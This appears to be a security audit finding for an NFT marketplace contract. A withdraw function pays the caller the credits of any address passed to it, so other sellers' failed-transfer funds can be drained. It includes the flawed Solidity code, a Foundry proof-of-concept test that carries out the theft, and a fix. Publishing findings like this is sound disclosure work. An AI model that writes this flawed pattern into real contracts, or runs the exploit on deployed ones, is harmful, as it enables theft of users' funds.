[H-1] Insecure withdrawAllFailedCredits Allows Theft of Other Users’ Funds
Description
The marketplace attempts to credit sellers when ETH transfers fail (e.g., if the seller is a contract without a payable fallback). These amounts are tracked in failedTransferCredits[address]. However, the function withdrawAllFailedCredits(address recipient) is implemented insecurely:
-
It reads the balance from the recipient address.
-
It then zeros out msg.sender’s slot instead of the recipient’s.
-
It finally transfers the credits to msg.sender.
This means an attacker can pass in any victim address with credits, and the marketplace will incorrectly give those funds to the attacker while leaving the victim’s credits unchanged. The attacker can repeatedly drain victims’ balances.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
-
The issue will occur whenever a seller’s ETH transfer fails (for example, when the seller is a contract that rejects ETH). This ensures that failedTransferCredits will accumulate balances for victims.
-
Any external account can call withdrawAllFailedCredits(address) without restriction, allowing attackers to repeatedly trigger the vulnerability as soon as failed credits exist.
Impact:
-
Attackers can drain the entire balance of failedTransferCredits belonging to other sellers, directly stealing their ETH proceeds.
-
The marketplace’s trust and functionality are broken because sellers who cannot accept ETH normally will lose all funds intended for them, leading to permanent loss of user assets.
Proof of Concept
function test_exploit_withdrawAllFailedCredits() public {
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
vm.prank(SELLER);
nft.transferFrom(SELLER, address(rejector), TOKEN_ID);
vm.startPrank(address(rejector));
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
vm.prank(BIDDER_1);
market.placeBid{value: BUY_NOW_PRICE}(TOKEN_ID);
uint256 fee = (BUY_NOW_PRICE * market.S_FEE_PERCENTAGE()) / 100;
uint256 sellerProceeds = BUY_NOW_PRICE - fee;
assertEq(
market.failedTransferCredits(address(rejector)),
sellerProceeds,
"Rejector should have failed credits equal to seller proceeds (net of fee)"
);
assertEq(market.s_totalFee(), fee, "Marketplace fee should be recorded");
assertEq(nft.ownerOf(TOKEN_ID), BIDDER_1);
address attacker = address(0x999);
uint256 attackerStarting = 1 ether;
vm.deal(attacker, attackerStarting);
assertEq(attacker.balance, attackerStarting);
vm.startPrank(attacker);
market.withdrawAllFailedCredits(address(rejector));
vm.stopPrank();
assertEq(
attacker.balance,
attackerStarting + sellerProceeds,
"Attacker should have stolen victim's credits (starting + sellerProceeds)"
);
assertEq(
market.failedTransferCredits(address(rejector)),
sellerProceeds,
"In buggy contract victim credits remain (the exploit demonstrates theft)"
);
}
forge test --match-test test_exploit_withdrawAllFailedCredits -vvv
Recommended Mitigation
Enforce proper authorization: Only the rightful owner (the credited address) should be able to withdraw their failed transfer credits.
Correctly zero out the recipient’s balance, not msg.sender.
- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ // Only allow the credited owner to withdraw their own credits; follow Checks → Effects → Interactions.
+ // Requires: contract inherits OpenZeppelin ReentrancyGuard and function marked nonReentrant.
+ function withdrawAllFailedCredits() external nonReentrant {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+
+ // Effects: zero the caller's credit before external interaction
+ failedTransferCredits[msg.sender] = 0;
+
+ // Interaction: send funds to the caller
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }